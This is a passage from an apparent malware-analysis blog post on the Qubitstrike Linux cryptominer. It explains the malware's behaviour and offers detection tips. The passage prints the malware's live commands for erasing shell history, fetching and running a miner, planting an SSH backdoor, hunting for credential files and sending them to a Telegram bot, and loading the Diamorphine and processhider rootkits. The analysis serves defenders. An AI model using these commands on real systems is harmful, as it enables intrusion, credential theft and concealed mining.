&lt;p&gt;Then, it begins disabling the shell command history. First, by hiding all commands that begin with a with a &amp;quot; &amp;quot; character:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ HISTCONTROL=ignorespace
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/qkVrmeCD.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;HISTCONTROL=ignorespace is an entirely new feature to me (&lt;a href=&quot;https://unix.stackexchange.com/questions/115934/why-does-bash-have-a-histcontrol-ignorespace-option&quot;&gt;why does it even exist?&lt;/a&gt;). The script then disables the history file altogether via a variety of mechanisms, making that setting useless anyways.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+ export HISTFILE=/dev/null
+ unset HISTFILE
+ shopt -ou history
+ set +o history
+ HISTSIZE=0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are not already alerting on programs executing with these HIST* values, you should begin today. These values are rarely seen outside of malware, particularly HISTFILE=/dev/null. Next, the installer disables SELinux, which should be causing alarms to go off:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+ setenforce 0
+ echo SELINUX=disabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, Qubitstrike disables the Linux kernel &lt;a href=&quot;https://medium.com/@yildirimabdrhm/nmi-watchdog-on-linux-ae3b4c86e8d8&quot;&gt;NMI watchdog&lt;/a&gt; for what I have to assume are performance reasons - as it decreases the amount of non-maskable interrupts on the system. Perhaps it also decreases the chances that the host will reboot due to a misbehaving crypto miner:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+ sysctl kernel.nmi_watchdog=0
+ sysctl kernel.nmi_watchdog=0
+ echo &#39;0&#39; &amp;gt;/proc/sys/kernel/nmi_watchdog
+ echo &#39;kernel.nmi_watchdog=0&#39; &amp;gt;&amp;gt;/etc/sysctl.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More detection opportunities: calls to sysctl, edits to /proc/sys/kernel, and edits to /etc/sysctl.conf. The next thing the installer does in its preparation is modify the system&#39;s DNS resolvers. This is a great way to bypass malware detection that requires a local or custom DNS server and improve reliability if the system does not have a stable DNS server defined.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2&amp;gt;/dev/null 1&amp;gt;/dev/null; echo &amp;quot;nameserver 8.8.8.8&amp;quot; &amp;gt;&amp;gt; /etc/resolv.conf;
grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2&amp;gt;/dev/null 1&amp;gt;/dev/null; echo &amp;quot;nameserver 8.8.4.4&amp;quot; &amp;gt;&amp;gt; /etc/resolv.conf;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Squeezing out the competition&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/kSYk4Avb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The firewall rules are reprogrammed to drop packets to and from competing miners:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;    iptables -A OUTPUT -p tcp --dport 3333 -j DROP &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    iptables -A INPUT -s xmr.crypto-pool.fr -j DROP &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    iptables -A OUTPUT -p tcp --dport 10343 -j DROP &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
    iptables -A OUTPUT -p tcp --dport 10300 -j DROP &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To further squeeze out the competition, Qubitstrike then begins killing off any process that consumes more than 99% CPU, as well as nuking known miner processes by name:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;proc_kl() {
  # KILL any bproc with 99% CPU
  ps aux | grep -vw python-dev | awk &#39;{if($3&amp;gt;99.0) print $2}&#39; | while read procid
  do
    kill -9 $procid
  done

  chattr -i etc/ld.so.preload &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
  rm -rf /etc/ld.so.preload &amp;gt; /dev/null 2&amp;gt;&amp;amp;1

  list1=(&#92;.Historys neptune xm64 xmrig suppoieup &#39;*.jpg&#39; &#39;*.jpeg&#39; &#39;/tmp/*.jpg&#39; &#39;/tmp/*/*.jpg&#39; &#39;/tmp/*.xmr&#39; &#39;/tmp/*xmr&#39; &#39;/tmp/*/*xmr&#39; &#39;/tmp/*/*/*xmr&#39; &#39;/tmp/*nanom&#39; &#39;/tmp/*/*nanom&#39; &#39;/tmp/*dota&#39; &#39;/tmp/dota*&#39; &#39;/tmp/*/dota*&#39; &#39;/tmp/*/*/dota*&#39;,&#39;chron-34e2fg&#39;)

  list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota)

  list3=(&#39;/tmp/sscks&#39; &#39;./crun&#39; &#39;:3333&#39; &#39;:5555&#39; &#39;log_&#39; &#39;systemten&#39; &#39;netns&#39; &#39;voltuned&#39; &#39;darwin&#39; &#39;/tmp/dl&#39; &#39;/tmp/ddg&#39; &#39;/tmp/pprt&#39; &#39;/tmp/ppol&#39; &#39;/tmp/65ccE&#39; &#39;/tmp/jmx*&#39; &#39;/tmp/xmr*&#39; &#39;/tmp/nanom*&#39; &#39;/tmp/rainbow*&#39; &#39;/tmp/*/*xmr&#39; &#39;http_0xCC030&#39; &#39;http_0xCC031&#39; &#39;http_0xCC033&#39; &#39;C4iLM4L&#39; &#39;/boot/vmlinuz&#39; &#39;nqscheduler&#39; &#39;/tmp/java&#39; &#39;gitee.com&#39; &#39;kthrotlds&#39; &#39;ksoftirqds&#39; &#39;netdns&#39; &#39;watchdogs&#39; &#39;/dev/shm/z3.sh&#39; &#39;kinsing&#39; &#39;/tmp/l.sh&#39; &#39;/tmp/zmcat&#39; &#39;/tmp/udevd&#39; &#39;sustse&#39; &#39;mr.sh&#39; &#39;mine.sh&#39; &#39;2mr.sh&#39; &#39;cr5.sh&#39; &#39;luk-cpu&#39; &#39;ficov&#39; &#39;he.sh&#39; &#39;miner.sh&#39; &#39;nullcrew&#39; &#39;xmrigDaemon&#39; &#39;xmrig&#39; &#39;lolminer&#39; &#39;xmrigMiner&#39; &#39;xiaoyao&#39; &#39;kernelcfg&#39; &#39;xiaoxue&#39; &#39;kernelupdates&#39; &#39;kernelupgrade&#39;  &#39;107.174.47.156&#39; &#39;83.220.169.247&#39; &#39;51.38.203.146&#39; &#39;144.217.45.45&#39; &#39;107.174.47.181&#39; &#39;176.31.6.16&#39; &#39;mine.moneropool.com&#39; &#39;pool.t00ls.ru&#39; &#39;xmr.crypto-pool.fr:8080&#39; &#39;xmr.crypto-pool.fr:3333&#39; &#39;zhuabcn@yahoo.com&#39; &#39;monerohash.com&#39; &#39;xmr.crypto-pool.fr:6666&#39; &#39;xmr.crypto-pool.fr:7777&#39; &#39;xmr.crypto-pool.fr:443&#39; &#39;stratum.f2pool.com:8888&#39; &#39;xmrpool.eu&#39;)

  list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer)

  if type killall &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then
    for k1 in &amp;quot;${list1[@]}&amp;quot; ; do killall $k1 ; done
  fi

  for k2 in &amp;quot;${list2[@]}&amp;quot; ; do pgrep $k2 | xargs -I % kill -9 % ; done
  for k3 in &amp;quot;${list3[@]}&amp;quot; ; do ps auxf | grep -v grep | grep $k3 | awk &#39;{print $2}&#39; | xargs -I % kill -9 % ; done
  for k4 in &amp;quot;${list4[@]}&amp;quot; ; do pkill -f $k4 ; done
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are looking for crypto miners, that&#39;s a good list of unusual processes and command-line strings to watch for! Next, the installer kills off any process with an outgoing connection to what are likely standard miner ports, but 143 (&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc3501&quot;&gt;IMAP&lt;/a&gt;), 3389 (&lt;a href=&quot;https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol&quot;&gt;Remote Desktop&lt;/a&gt;), and 6667 (&lt;a href=&quot;https://en.wikipedia.org/wiki/IRCd&quot;&gt;ircd&lt;/a&gt;) stand out to me.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;list=(&#39;:1414&#39; &#39;127.0.0.1:52018&#39; &#39;:143&#39; &#39;:3389&#39; &#39;:4444&#39; &#39;:5555&#39; &#39;:6666&#39; &#39;:6665&#39; &#39;:6667&#39; &#39;:7777&#39;  &#39;:3347&#39; &#39;:14444&#39; &#39;:14433&#39; &#39;:13531&#39; &#39;:15001&#39; &#39;:15002&#39;)
for k in &amp;quot;${list[@]}&amp;quot; ; do netstat -anp | grep $k | awk &#39;{print $7}&#39; | awk -F&#39;[/]&#39; &#39;{print $1}&#39; | grep -v &amp;quot;-&amp;quot; | xargs -I % kill -9 % ; done
netstat -antp | grep &#39;46.243.253.15&#39; | grep &#39;ESTABLISHED&#92;|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &amp;quot;s/&#92;/.*//g&amp;quot; | xargs -I % kill -9 %
netstat -antp | grep &#39;176.31.6.16&#39; | grep &#39;ESTABLISHED&#92;|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &amp;quot;s/&#92;/.*//g&amp;quot; | xargs -I % kill -9 %
netstat -antp | grep &#39;108.174.197.76&#39; | grep &#39;ESTABLISHED&#92;|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &amp;quot;s/&#92;/.*//g&amp;quot; | xargs -I % kill -9 %
netstat -antp | grep &#39;192.236.161.6&#39; | grep &#39;ESTABLISHED&#92;|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &amp;quot;s/&#92;/.*//g&amp;quot; | xargs -I % kill -9 %
netstat -antp | grep &#39;88.99.242.92&#39; | grep &#39;ESTABLISHED&#92;|SYN_SENT&#39; | awk &#39;{print $7}&#39; | sed -e &amp;quot;s/&#92;/.*//g&amp;quot; | xargs -I % kill -9 %
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Makin&#39; $$$ with XMRig&lt;/h2&gt;
&lt;p&gt;The install script increases the number of &lt;a href=&quot;https://wiki.debian.org/Hugepages&quot;&gt;hugepages&lt;/a&gt; (typically 0) to 128. I’m most familiar with this optimization for things like Oracle Databases, but it also allegedly offers a &lt;a href=&quot;https://xmrig.com/docs/miner/hugepages&quot;&gt;20-30% boost for some types of cryptocurrency mining&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;---------------------------------------
 setup hugepages 
---------------------------------------
+ hugepages
+ sysctl -w vm.nr_hugepages=128
vm.nr_hugepages = 128
+ echo vm.nr_hugepages=128 &amp;gt; /etc/sysctl.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any program that references vm.nr_hugepages should be considered a possible crypto miner. For more confirmation, combine it with a check for kernel.nmi_watchdog.&lt;/p&gt;
&lt;p&gt;Once the appropriate sysctl values are set, the script fetches and starts the miner:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ zurl -o /usr/share/.LQvKibDTq4/xm.tar.gz https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz
+ tar -xf /usr/share/.LQvKibDTq4/xm.tar.gz -C /usr/share/.LQvKibDTq4
+ rm -rf /usr/share/.LQvKibDTq4/xm.tar.gz
+ chmod +x /usr/share/.LQvKibDTq4/config.json /usr/share/.LQvKibDTq4/python-dev
+ /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unsurprisingly, the program is &lt;a href=&quot;https://xmrig.com/&quot;&gt;&lt;code&gt;XMRig&lt;/code&gt;&lt;/a&gt; - the most popular option for invasive cryptocurrency miners. It&#39;s disappointing that the archive only contains an x86_64 binary, but the installer script never checks for the machine architecture. The attacker may have done that step manually within &lt;a href=&quot;https://jupyter.org/&quot;&gt;Jupyter&lt;/a&gt;. It was a nice touch that the script author limited the CPU usage to 90% to avoid detection.&lt;/p&gt;
&lt;h2&gt;Installing the backdoor&lt;/h2&gt;
&lt;p&gt;Rather than implementing its own detectable backdoor, QubitStrike makes the wise decision to use &lt;a href=&quot;https://www.openssh.com/&quot;&gt;OpenSSH&lt;/a&gt;, which is already likely on the system. This works nicely since we already know from the attack profile that the machine is on the Internet, and we&#39;ve already flushed the firewall that may have prevented external SSH access.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/l4InqXJW.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The attacker plugs in their SSH credentials (likely from a &lt;a href=&quot;https://www.kali.org/&quot;&gt;Kali Linux&lt;/a&gt; machine), disables the &lt;a href=&quot;https://en.wikipedia.org/wiki/TCP_Wrappers&quot;&gt;tcpwrapper&lt;/a&gt; controls, reconfigures sshd to allow remote root login, and starts it up. I&#39;m not sure what the &amp;quot;Port 78&amp;quot; reference is all about, but I assume they are disabling a backdoor configuration from a competing crypto miner.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;---------------------------------------
 SSH setup  
---------------------------------------
+ ssh_get
+ &#39;[&#39; -f /root/.ssh/authorized_keys &#39;]&#39;
+ chattr -aui /root/.ssh/authorized_keys
+ grep -q &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#39; /root/.ssh/authorized_keys
+ echo &#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&#39;
+ chattr -aui /etc/ssh
+ chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow
+ echo
+ echo
+ mkdir -p /etc/ssh
+ sed -i -e &#39;s/Port 78//g&#39; -e &#39;s/&#92;#Port 22/Port 22/g&#39; -e &#39;s/&#92;#PermitRootLogin/PermitRootLogin/g&#39; -e &#39;s/PermitRootLogin no/PermitRootLogin yes/g&#39; -e &#39;s/PubkeyAuthentication no/PubkeyAuthentication yes/g&#39; -e &#39;s/PasswordAuthentication yes/PasswordAuthentication no/g&#39; /etc/ssh/sshd_config
+ chmod 600 /etc/ssh/sshd_config
+ systemctl restart ssh||service ssh restart||/etc/init.d/ssh restart||/etc/init.d/sshd restart||/etc/rc.d/sshd restart||service sshd restart||scw-fetch-ssh-keys --upgrade
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phoning home&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/7P7847lO.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Qubitstrike collects some information about the health of the miner and the backdoor and then sends it to a &lt;a href=&quot;https://telegram.org/&quot;&gt;Telegram&lt;/a&gt; channel:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ service ssh status
+ &#39;[&#39; 0 -eq 0 &#39;]&#39;
+ SSH_Ld=true
+ grep python-dev
+ grep -v grep
+ ps aux
root        4088  192  0.1  42216  4768 ?        Ssl  18:24   0:02 /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90
+ &#39;[&#39; 0 -eq 0 &#39;]&#39;
+ MINER_stat=running
+ DATA_STRING=&#39;IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running&#39;
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data &#39;text=IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running&#39; https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Credential Theft&lt;/h3&gt;
&lt;p&gt;The most disappointing part of the script is how it steals and sends credentials. Their approach is exceptionally slow: It crawls the filesystem separately for each credential type rather than using the find commands native support for finding multiple names. I blame the fin&lt;a href=&quot;https://man7.org/linux/man-pages/man1/find.1.html&quot;&gt;d command&#39;s bizarre syntax and poorly written documentation&lt;/a&gt;, as it took me a couple of attempts to get it correct myself.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/7Z1S4bxi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ CRED_FILE_NAMES=(&amp;quot;credentials&amp;quot; &amp;quot;cloud&amp;quot; &amp;quot;.s3cfg&amp;quot; &amp;quot;.passwd-s3fs&amp;quot; &amp;quot;authinfo2&amp;quot; &amp;quot;.s3backer_passwd&amp;quot; &amp;quot;.s3b_config&amp;quot; &amp;quot;s3proxy.conf&amp;quot; &amp;quot;access_tokens.db&amp;quot; &amp;quot;credentials.db&amp;quot; &amp;quot;.smbclient.conf&amp;quot; &amp;quot;.smbcredentials&amp;quot; &amp;quot;.samba_credentials&amp;quot; &amp;quot;.pgpass&amp;quot; &amp;quot;secrets&amp;quot; &amp;quot;.boto&amp;quot; &amp;quot;.netrc&amp;quot; &amp;quot;.git-credentials&amp;quot; &amp;quot;api_key&amp;quot; &amp;quot;censys.cfg&amp;quot; &amp;quot;ngrok.yml&amp;quot; &amp;quot;filezilla.xml&amp;quot; &amp;quot;recentservers.xml&amp;quot; &amp;quot;queue.sqlite3&amp;quot; &amp;quot;servlist.conf&amp;quot; &amp;quot;accounts.xml&amp;quot; &amp;quot;azure.json&amp;quot; &amp;quot;kube-env&amp;quot;)
+ for CREFILE in ${CRED_FILE_NAMES[@]}
+ find / -maxdepth 23 -type f -name credentials
+ xargs -I % sh -c &#39;echo :::%; cat %&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Contrary to most credential theft malware, QubitStrike does not attempt to steal credentials for web browsers or wallets - the authors are clearly focused on acquiring more compute resources. I took a look on my own Linux workstation to see what sort of credentials this might pick up and found:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;/home/t/.config/gcloud/legacy_credentials/t@xyz.dev/.boto
/home/t/.config/gcloud/credentials.db
/home/t/.config/gcloud/access_tokens.db
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After collection, the script sends the credentials home via a second Telegram message:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;++ cat /tmp/creds
+ SECRETS=
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data text= https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage
+ cat /tmp/creds
+ rm /tmp/creds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Safety reminder: never mount your personal home directory to your malware VMs, as the find command would have traversed filesystems to discover and upload your credentials.&lt;/p&gt;
&lt;h2&gt;The kernel-level rootkit: Diamorphine&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/8SIolL5k.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here&#39;s where Qubitstrike gets interesting. This is the first time I&#39;ve seen a casual miner with a Linux rootkit that works on a modern Ubuntu release:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;---------------------------------------
 Begin hiding 
---------------------------------------
+ ex_hid
+ hide1
+ ins_package
+ type apt
+ apt update -qq --fix-missing
46 packages can be upgraded. Run &#39;apt list --upgradable&#39; to see them.
++ uname -r
+ apt-get install -y -qq gcc make kmod wget net-tools linux-headers-6.2.0-27-generic -o Dpkg::Progress-Fancy=0 -o APT::Color=0 -o Dpkg::Use-Pty=0
...
+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/... | base64 -d
+ tar -xf /usr/share/.LQvKibDTq4/hf.tar -C /usr/share/.LQvKibDTq4/
+ cd /usr/share/.LQvKibDTq4
+ make
make -C /lib/modules/6.2.0-27-generic/build M=/usr/share/.LQvKibDTq4 modules
make[1]: Entering directory &#39;/usr/src/linux-headers-6.2.0-27-generic&#39;
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.o
  MODPOST /usr/share/.LQvKibDTq4/Module.symvers
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.mod.o
  LD [M]  /usr/share/.LQvKibDTq4/diamorphine.ko
  BTF [M] /usr/share/.LQvKibDTq4/diamorphine.ko
Skipping BTF generation for /usr/share/.LQvKibDTq4/diamorphine.ko due to unavailability of vmlinux
+ insmod diamorphine.ko
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rather than fetching the rootkit, it cleverly embeds it as a base64 string and decodes it - providing ample detection opportunity. If you ever see a base64 string that begins with &lt;code&gt;H4sI&lt;/code&gt;, you know you are dealing with a base64-encoded gzip file (another detection hint). Since kernel module binaries are not portable, Qubitstrike installs a compiler and the headers necessary before building the rootkit.&lt;/p&gt;
&lt;p&gt;So, what is &lt;a href=&quot;https://github.com/m0nad/Diamorphine&quot;&gt;Diamorphine&lt;/a&gt;? It&#39;s easily the most popular open-source rootkit for Linux. I&#39;ve long poo-pooed kernel-mode rootkits in Linux as unsupportable due to the constant churn of the Linux kernel, but surprisingly, Diamorphine has been updated to work on modern Linux kernels! It works perfectly on a fully patched Ubuntu 23.04 or 23.10 machine (Linux 6.2.0 &amp;amp; 6.5.3). Diamorphine does segfault on my ArchLinux laptop (Linux 6.5.7), showing that Linux rootkits are still somewhat fragile.&lt;/p&gt;
&lt;p&gt;Diamorphine has a unique control mechanism: signals. You can see it in action in Qubitstrike:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ echo &#39;Hiding process ( python-dev ) pid ( 4088 )&#39;
Hiding process ( python-dev ) pid ( 4088 )
+ kill -31 4088
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How does the process hiding work? Diamorphine intercepts calls to the &lt;a href=&quot;https://linux.die.net/man/2/getdents64&quot;&gt;getdents64(2)&lt;/a&gt; system call, used in turn by &lt;a href=&quot;https://linux.die.net/man/3/readdir&quot;&gt;readdir(3)&lt;/a&gt;. On Linux, system utilities, such as ps or netstat, read the contents of the &lt;code&gt;/proc&lt;/code&gt; directory to know what processes or tasks are currently running - this malware will filter out the pid entry for any processes that have been passed signal 31 (the unused &lt;a href=&quot;https://www-uxsup.csx.cam.ac.uk/courses/moved.Building/signals.pdf&quot;&gt;SIGSYS&lt;/a&gt; signal).&lt;/p&gt;
&lt;p&gt;In addition, Diamorphine has an option of hiding any files matching a &lt;code&gt;MAGIC_PREFIX&lt;/code&gt;. This is commonly used to hide directories, but Qubitstrike does not take advantage of it. Diamorphine also supports other signals, notably  &lt;code&gt;-64&lt;/code&gt;, which upgrades a process to root access. From &lt;a href=&quot;https://github.com/m0nad/Diamorphine/blob/master/diamorphine.c&quot;&gt;diamorphine.c&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void
give_root(void) {
...
    newcreds-&amp;gt;uid.val = newcreds-&amp;gt;gid.val = 0;
    newcreds-&amp;gt;euid.val = newcreds-&amp;gt;egid.val = 0;
    newcreds-&amp;gt;suid.val = newcreds-&amp;gt;sgid.val = 0;
    newcreds-&amp;gt;fsuid.val = newcreds-&amp;gt;fsgid.val = 0;
...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This signals-based mechanism makes Diamorphine easy to detect. Simply iterate over every signal and see what happens! We&#39;ll show an example later.&lt;/p&gt;
&lt;h2&gt;User-mode rootkit: processhider&lt;/h2&gt;
&lt;p&gt;If Diamorphine fails to build, QubitStrike falls back to using a modified version of  &lt;a href=&quot;https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c&quot;&gt;github.com/gianlucaborello/libprocesshider/blob/master/processhider.c&lt;/a&gt; - a user-mode rootkit.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ echo I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg... | base64 -d
+ sed -i s/procname/python-dev/g /usr/share/.LQvKibDTq4/prochid.c
+ chattr -ia /etc/ld.so.preload /usr/local/lib/
+ gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so /usr/share/.LQvKibDTq4/prochid.c -ldl
+ echo /usr/local/lib/libnetresolv.so &amp;gt; /etc/ld.so.preload
+ &#39;[&#39; -f /usr/local/lib/libnetresolv.so &#39;]&#39;
+ chattr +i /usr/local/lib/libnetresolv.so
+ chattr +i /etc/ld.so.preload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This malware intercepts userland requests to glibc&#39;s &lt;a href=&quot;https://linux.die.net/man/3/readdir&quot;&gt;&lt;code&gt;readdir(3)&lt;/code&gt;&lt;/a&gt; function. If the name matches &lt;code&gt;python-dev&lt;/code&gt;, the process is hidden in much the same way as Diamorphine. In the old days, user-mode rootkits were deployed by setting the &lt;a href=&quot;https://www.hpc.dtu.dk/?page_id=1180&quot;&gt;&lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt;&lt;/a&gt;&lt;code&gt; environment variable&lt;/code&gt;, but on Linux, you can get the same result by adding the library path to &lt;code&gt;/etc/ld.so.preload&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In 99% of environments, this file shouldn&#39;t exist. Check for it.&lt;/p&gt;
&lt;h2&gt;Establishing Persistence&lt;/h2&gt;
